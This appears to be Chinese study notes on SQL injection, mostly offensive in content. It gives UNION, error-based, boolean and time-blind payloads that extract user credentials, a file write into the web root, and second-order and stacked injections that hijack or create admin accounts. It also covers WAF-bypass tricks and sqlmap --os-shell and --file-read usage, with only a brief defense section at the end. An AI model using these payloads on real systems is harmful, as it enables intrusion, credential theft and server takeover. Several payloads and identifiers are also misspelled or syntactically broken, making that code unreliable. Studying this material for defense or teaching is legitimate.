SQL注入攻击
SQL注入攻击
1.SQL注入简介与危害
SQL注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使攻击者能够在执行SQL查询时插入恶意的SQL代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息,篡改数据,甚至完全破坏数据库。
主要分类包括:
- UNION注入:利用
UNION
合并查询结果。 - 报错注入:通过数据库报错信息获取数据。
- 盲注:布尔盲注、时间盲注、DNSlog盲注。
- 二次注入:利用已存储的恶意数据再次触发。
- 堆叠注入:执行多条SQL语句。
2.判断SQL注入是否存在
1.加单引号(')、双引号(")、单括号)、双括号等看是否报错:如果报错,可能判断存在SQL注入漏洞。
2.在URL后面加入and 1=1、and 1=2看页面是否报错或者不一样(基于布尔盲注):不一样说明可能存在SQL注入漏洞。
3.使用sleep(5),并用F12查看时间线(基于时间盲注):如果页面响应延迟了5秒,说明可能存在SQL注入漏洞。
易出现的SQL注入点:凡是和数据库有交互的地方都容易出现SQL注入。SQL注入经常出现在登录页面、涉及获取HTTP头(如User-Agent
、Client-IP
等)的功能点及订单处理等地方。例如登录页面,除常见的万能密码、POST数据注入外,也可能发生在HTTP头中的Client-IP
和X-Forwarded-For
等字段处。这些字段是用来记录登录的IP的,如果被存储进数据库中并与数据库发生交互,就可能导致SQL注入。
2.1 转义符
转义序列 | 描述 |
---|---|
\n |
换行符 |
\t |
制表符 |
\\ |
表示一个反斜杠\ |
\" |
表示双引号" |
\' |
表示单引号' |
\r |
回车符 |
\b |
退格符 |
\f |
换页符 |
\xHH |
以十六进制表示的字符(HH是两位十六进制数) |
3. SQL注入分类
3.1 UNION注入
3.1.1 适用条件
- 网页存在注入点,有回显。
- 需要满足union语句要求,即:
- union前后两个select的结果集应有相同列数。
- union前后两个select的结果集对应列应是相同数据类型。
3.1.2 注入思路
- 先判断是否存在注入点及注入的类型。
- 使用order by查询列数,观察回显的位置。
- 获取数据库名。
- 获取数据库中的所有表名。
- 获取数据库的表中的所有字段名。
- 获取字段中的数据。
3.1.3常用联合注入命令
查列
order by 1-n
查当前数据库,使用union注入
需要让前面的语句不成立 id=-1 union select 1,2,3,database()
//得到当前数据库
查所有数据库
union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)
查当前数据库的所有数据表
select group_concat(table_name) from information_schema.TABLES
where table_schema='当前数据库名'
查数据表的列名
select group_concat(column_name) from information_schema.columns
where table_schema='数据库' and table_name='表名'
获得第一条记录信息
concat(name,':',password) from users limit 0,1
3.1.4 简单注入
3.1.4.1基本数据
通过以上的链接发现了有有一个数据表是news
3.1.4.2注入命令/思路
1.查询数据库名
select database() //查询当前数据库
注入点
select * from news where dat='1234'
union
select database(),'','',''、
结果
知道了数据库名是game
2.查询用户,密码在哪个表
select GROUP_CONCAT(table_name) from information_schema.TABLES t where t.table_schema='game'
注入
select * from news where dat='1234'
union
select (select GROUP_CONCAT(table_name) from information_schema.TABLES t where t.table_schema='game'),'','',''
相关知识
select * from information_schema.`TABLES`
解释:
SELECT * FROM information_schema.TABLES 是一条 SQL 查询语句,用于从 information_schema 数据库中的 TABLES 表获取所有列的信息。下面详细解释一下这条语句:
1. information_schema 数据库
information_schema 是一个特殊的数据库,它存储了关于数据库服务器所维护的所有其他数据库的信息。这些信息包括数据库的结构、表的定义、列的属性、索引情况等元数据。它为用户提供了一种方便的方式来查询数据库的内部结构和配置信息,而无需直接访问数据库的系统表。
2. TABLES 表
在 information_schema 数据库中,TABLES 表是一个非常重要的表,它包含了数据库中所有表的详细信息。这些信息可以帮助用户了解每个表的基本属性,如表名、所属数据库、表的类型、创建时间等。
以下是一些 TABLES 表中常见的列及其含义:
TABLE_CATALOG:表所属的数据库目录(在 MySQL 中通常为空)。
TABLE_SCHEMA:表所属的数据库名。
TABLE_NAME:表的名称。
TABLE_TYPE:表的类型,如 BASE TABLE(基本表)、VIEW(视图)等。
ENGINE:表的存储引擎,如 InnoDB、MyISAM 等。
VERSION:表的版本号。
ROW_FORMAT:表的行格式,如 Fixed、Dynamic、Compressed 等。
TABLE_ROWS:表中的行数(这是一个估计值,对于某些存储引擎可能不准确)。
AVG_ROW_LENGTH:表中平均每行的长度。
DATA_LENGTH:表中数据的总长度。
MAX_DATA_LENGTH:表中数据的最大长度。
INDEX_LENGTH:表中索引的总长度。
DATA_FREE:表中未使用的空间。
AUTO_INCREMENT:表中自增列的下一个值。
CREATE_TIME:表的创建时间。
UPDATE_TIME:表的最后一次更新时间。
CHECK_TIME:表的最后一次检查时间。
TABLE_COLLATION:表的字符集校对规则。
CHECKSUM:表的校验和。
CREATE_OPTIONS:表创建时的选项。
TABLE_COMMENT:表的注释信息。
相关知识
Afected rows
在 SQL 中,"affected rows"(受影响的行数)是一个非常重要的概念,它用于描述 SQL 语句执行后实际被修改、插入或删除的行数。这个信息对于数据库操作的调试和优化非常有帮助。下面详细解释一下 "affected rows" 的概念及其应用场景。
1. 什么是 "affected rows"?
定义:当执行一个 SQL 语句(如 INSERT、UPDATE、DELETE)时,"affected rows" 表示该语句实际影响的行数。这包括被插入、更新或删除的行。
用途:这个信息可以帮助开发者了解 SQL 语句的执行效果,确保数据操作按预期进行。例如,如果你执行了一个 UPDATE 语句,希望更新 10 行数据,但 "affected rows" 显示只有 5 行被更新,这可能意味着有些行没有满足更新条件,或者存在其他问题。
解决方法
group_cpncat()
结果
知道了user表
3.查询用户,密码
//需要知道列数,需要用到information_schema里面的colums表
select group_concat(c.column_name) from information_schema.COLUMNS c where c.table_schema='game' and c.table_name='user'
//再根据列名获取数据
select * from news where datestr=''
union
select username,password,'','' from user
where '1=1'
相关知识
information_schema 是 MySQL 中的一个系统数据库,它提供了关于整个 MySQL 实例中所有数据库、表、列、索引、存储过程、函数、触发器等对象的元数据信息。这些信息对于数据库管理员和开发者来说非常重要,因为它们可以帮助了解数据库的结构和内容。以下是一些 information_schema 中常见的表及其用途:
1. SCHEMATA
用途:存储数据库(schema)的信息,如数据库名称、默认字符集等。
示例查询:
sql
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
这个查询会返回所有数据库的名称。
2. TABLES
用途:存储表的信息,如表名、表类型、存储引擎等。
示例查询:
sql
SELECT TABLE_NAME, TABLE_TYPE, ENGINE FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'your_database_name';
这个查询会返回指定数据库中所有表的名称、类型和存储引擎。
3. COLUMNS
用途:存储表中列的信息,如列名、数据类型、是否可为空等。
示例查询:
sql
SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE, COLUMN_DEFAULT FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'your_database_name' AND TABLE_NAME = 'your_table_name';
这个查询会返回指定表中所有列的名称、数据类型、是否可为空和默认值。
4. STATISTICS
用途:存储表的索引信息,如索引名、索引类型、索引列等。
示例查询:
sql
SELECT INDEX_NAME, NON_UNIQUE, COLUMN_NAME, SEQ_IN_INDEX FROM information_schema.STATISTICS WHERE TABLE_SCHEMA = 'your_database_name' AND TABLE_NAME = 'your_table_name';
这个查询会返回指定表中所有索引的名称、是否唯一、索引列和索引顺序。
5. VIEWS
用途:存储视图的信息,如视图名、视图定义、字符集等。
示例查询:
sql
SELECT TABLE_NAME, VIEW_DEFINITION FROM information_schema.VIEWS WHERE TABLE_SCHEMA = 'your_database_name';
这个查询会返回指定数据库中所有视图的名称和定义。
6. ROUTINES
用途:存储存储过程和函数的信息,如名称、定义、字符集等。
示例查询:
sql
SELECT ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = 'your_database_name';
这个查询会返回指定数据库中所有存储过程和函数的名称和定义。
7. TABLE_CONSTRAINTS
用途:存储表的约束信息,如主键约束、唯一约束等。
示例查询:
sql
SELECT CONSTRAINT_NAME, TABLE_NAME, CONSTRAINT_TYPE FROM information_schema.TABLE_CONSTRAINTS WHERE TABLE_SCHEMA = 'your_database_name';
这个查询会返回指定数据库中所有表的约束名称、表名和约束类型。
8. TRIGGERS
用途:存储触发器的信息,如触发器名、触发器定义、触发事件等。
示例查询:
sql
SELECT TRIGGER_NAME, EVENT_MANIPULATION, ACTION_STATEMENT FROM information_schema.TRIGGERS WHERE TRIGGER_SCHEMA = 'your_database_name';
这个查询会返回指定数据库中所有触发器的名称、触发事件和定义。
注意事项
只读:information_schema 是只读的,用户不能对其进行插入、更新或删除操作。
动态更新:information_schema 中的数据会随着数据库的变化自动更新。例如,当你创建或删除表时,information_schema.TABLES 中的记录也会相应变化。
通过这些表和查询,你可以轻松地获取和管理数据库的元数据信息,这对于数据库管理和优化非常有用。
需要了解的
相关知识
子查询
标量子查询
结果
得到用户名和密码,成功
3.总结
需要使用information——schrmea数据库的TABLES查询当前数据库有哪些表,和CLUMNS表查列有哪些
需要使用联合查询,子查询 需要知道受影响的行概念
1.前提是需要知道是什么数据库select datables(),得到当前数据库名
2.然后使用where table_schrmea='数据库' 查询information_schrmea 的table_name列,得到表有哪些
3.然后使用where table_schrmea='数据库' and table_name='表'查询information_schrmea的cloumns_name列
4.最后使用select查询得到用户和密码。
3. 2报错注入
报错注入是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执行SQL语句。
3.2.1 使用条件
考虑到成功率和时间成本比union成本高,需要数据库有错误信息,一般在union条件不能实施的时候,在查询,新增,修改都能使用。
3.2.2 常用报错注入命令
3.2.2.1 group by 报错
group by 重复键冲突(也叫floor报错注入)(group报错注入)(主键报错注入)
(count()+floor()+rand()+group by 组合)就是利用count(),rand(),floor(),group by 这几个特定的函数结合在一起产生的注入漏洞。
?id=1 and (select 1
from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2)x from information_schema.tables group by x)a)
分开解析(外select括号)
select 1
//select 1: 让语法是正确的,返回 1 是 true 返回 0 是 false
from
(select count(*),
concat(0x5e,
//0x5e上箭头 "^"
(select version() from information_schema.tables limit 0,1),
0x5e,
floor(rand(0)*2))x
from information_schema.tables group by x)
a
//别名
分开解析(内select括号)
(select count(*),
concat(
0x5e,
(select version() from information_schema.tables limit 0,1),
0x5e,
floor(rand(0)*2)
)x
from information_schema.tables group by x)
子查询//根据x分组查询总共有多少数据count(*)
分开解析(最内内select括号)
select version() from information_schema.tables limit 0,1),
0x5e,
floor(rand(0)*2))x
子查询
拆分
select rand();返回一个随机十进制
seletc rand(0);指定种子值返回可重复的随机数序列·1
select rand(0)*2;将返回值乘以2
select floor(x):地板,返回x的最大整数值,但不能大于x
select floor(rand(0)*2);随机返回0,1
select floor(rand(0)*2)x from information_schema.tables;生成了和tables一样多的行
select count(*),floor(rand(0)*2)x from information_schema.tables;//计算了有多少行
select TABLE_SCHEMA,count(*) from information_schema.tables group by table_name;
//分组计算group by 分组的时候会在还未插入表的时候生成一个临时表并生成主键
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x
//rand利用group by计算流程在group by发现新分组插入临时表时还要计算一次插入的成了重复键,造成了主键冲突,又因为里面的函数是被正确执行了的所以会正确返回user()内容,造成主键报错
3.2.2.2 xpath报错
有updatexml,extractvalue报错
extractvalue报错:
and extractvalue(1,concat(0x5c,(select version(),0x5c))
//0x5c就是让extractvalue遇到报错
and extractvalue(1,concar(0x7e,(select user()),0x7e))
extractvalue()函数:
从目标xml中返回包含所查询值的字符串
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:XPath_string(Xpath格式的字符串)
案例:
select extractvalue(
'<root><username>luojie</username><age>18</age></root>',
'//username')
3.2.2.3 updatexml报错
?id=1 and updatexml(1,concat(0x5e,select version()),0x5e,1)
updatexml()函数:
updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是String格式,为xml文档对象的名称,文中为Doc1
第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程
第三个参数:new_value,String格式,替换找到的符合条件的数据
案例:
select updatexml('<root><username>luojie</username><age>18</age></root>','/username','<name>luojiejie</name>')
//找到username参数干掉变成name里面的参数
报错信息
EREOR 1105 (HY000):XPATH syntax error:'root@localhost
//xpath语法错误
3.3 布尔盲注
3.3.1 概念
当改变浏览器传给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错,这时候可以试试看能否使用布尔注入。
3.3.2 使用条件
一般情况下,当代入参数为真和假时,页面会有不同的反映,比如无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。
3.3.3 注入命令/思路
1.给它拼个条件 看返回true 还是false
id=1 and 1=2
false说明有布尔盲注。
2.猜数据库名字的长度
and length(database())<5
and length(database())=4
一个一个猜。
3.获得数据库名字
看ASCII表是否大于64,小于123。
? id=1 and ascii(substr(database(),1,1))<123 #122为z
? id=1 and ascii(substr(database(),1,1))>64 #65为A
? id=1 and ascii(substr(database(),1,1))>100 #true
? id=1 and ascii(substr(database(),1,1))>110 #false
? id=1 and ascii(substr(database(),1,1))=106 #j 第一个字符
同上第二个/第三个/第四个字符。
3.4 延迟盲注
3.4.1 概念
也称延时注入、时间注入等,这种注入方式在传给后台的参数中,设置了一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。
延时盲注是显示结果真假只能从响应时间上进行推测。
3.4.2 使用条件
union,报错,布尔等搞不定的时候才考虑,效率极低。
3.4.3 注入命令/思路
and sleep(5)
f12查看时间线如果休眠了5秒说明有延时盲注。
and if (length(database())<10,sleep(5),1)
如果睡了说明数据库名字小于10。
3.5 DNSlog盲注
3.5.1 概念
DNSlog盲注就是通过load_file函数发起请求,然后DNSlog平台接收数据,需要用到load_file函数就是需要用到root用户读写文件功能。
3.5.2 注入命令/思路
获得当前网站的根目录。
union select 1,2,3,@@datadir
发现为phpStudy,读取apache的配置文件。
D:\phpStudy\PHPTutorial\Apache\conf\vhosts.conf
加载进去。
load_file('D:\\phpStudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')
// '\'需要转义在加一个\
返回了网站根目录。
D:\phpStudy\PHPTutorial\www\bbs
写东西进去。
union select 1,2,3,'<?php phpinfo();?>' into outfile "D:\phpStudy\PHPTutorial\www\bbs\test1.php"
//要转义
查看地址。
127.0.0.1/bbs/test1.php
PATH可以查看到对方服务器的变量环境。
3.6 二次注入
3.6.1 概念
二次注入是指已存储(数据库,文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。
3.6.2 注入命令/思路
碰撞用户(知道用户名不知道密码)。
注册用户注册admin如果提示用户已经存在说明数据库存在admin用户。
前提已经知道有admin用户,注册:
admin'#
insert into users(username) values('admin'#')
修改密码。
update set password=666 where username='admin'#'
修改上了admin的密码。
3.7 堆叠注入
3.7.1 概念
在SQL数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
与union对比:
union联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
堆叠注入可以执行的是任意的语句,如增删改等。
3.7.2 实战
3.7.2.1 获取user表的字段数据
思路:
数据库
数据库表
列名
用户,密码
name password 已经到手之后。
构建攻击语句。
没有注册功能。
? id=1;insert into users(name,password)values('admin'#',md5('niko'));
3.8.撞库
admin‘#
4. SQL注入绕过
4.1 原理
在注入的时候,根据waf的规范,绕过是get方式,会对union进行过滤,这样可以思考更换提交方式。
4.2 更改提交方式
代码在bbs,showmessage.php里面。
把get改成request。
4.3 特殊字符过滤
4.3.1 思路
报错但不会被拦截
id=-1 union select 1,2,3,database
//选择post data
4.4 参数污染
4.4.1 注入命令/思路
?id=1/**&id=-1%20union%20select%201,2,3,4%23*/
/***/my里面是注释。
%20 空格。
%23是 #。
my真实接受的是。
&id=-1 union select% 1,2,3,4 #*/
但安全狗接受的是id=1。
“&”是按位与(Bitwise AND)运算符。
4.5 数据库特性
4.5.1 注入命令/思路
?id=-1%20union%20/*!44509select*/%201,2,3,4
4.5.2 原理
具体的数字要去测试。
在4.45.09以上的版本执行。
/*!44509select * from users*/
5. SQLMap工具运用
5.1 概念
map是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终极测试的良好特性和众多的操作选项。
有windows版本和kail版本(自带)。
5.2 使用实战
Sqlmap的基本流程如下:
找注入点并检测:sqlmap –u “链接”
列库显示数据库:sqlmap –u “链接” --dbs
列库显示当前的数据库:sqlmap –u “链接” --current-db
列表显示表:sqlmap –u “链接” –D 数据库 --tables
列字段显示表中字段:sqlmap –u “链接” –D 数据库 –T 表名 --columns
显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump
5.3 扩展操作
执行SQL。
sqlmap -u “链接” ---shell
写脚本
select * from users
弱密码爆破。
sqlmap -u “链接” --password
//爆破当前登陆的用户密码
执行系统命令。
sqlmap -u “链接” --os-shell
读取文件。
sqlmap -u “链接” --file-read “D:\e.txt”
5.4 SQLmap绕过
5.4.1 法一
先开启防火墙。
sqlmap -purge
sqlmap -u “链接” --dbs
5.4.2 法二
使用tamper。
新建passdog.py。
上传到。
cd /usr/share/map/tamper
执行map。
sqlmap --purge
sqlmap -u “链接” --tamper=passdog.py --random-agent --dbs
6. SQL注入防护
6.1 过滤
a. 限制参数长度。
b. 识别恶意代码(union,order by、update、select)。
6.2 转义
直接把用户的输入当成文本。
6.3 数据库安全控制
a. 权限。
b. 敏感数据加密。
6.4 预编译
代码。
myi_query
改myi_prepare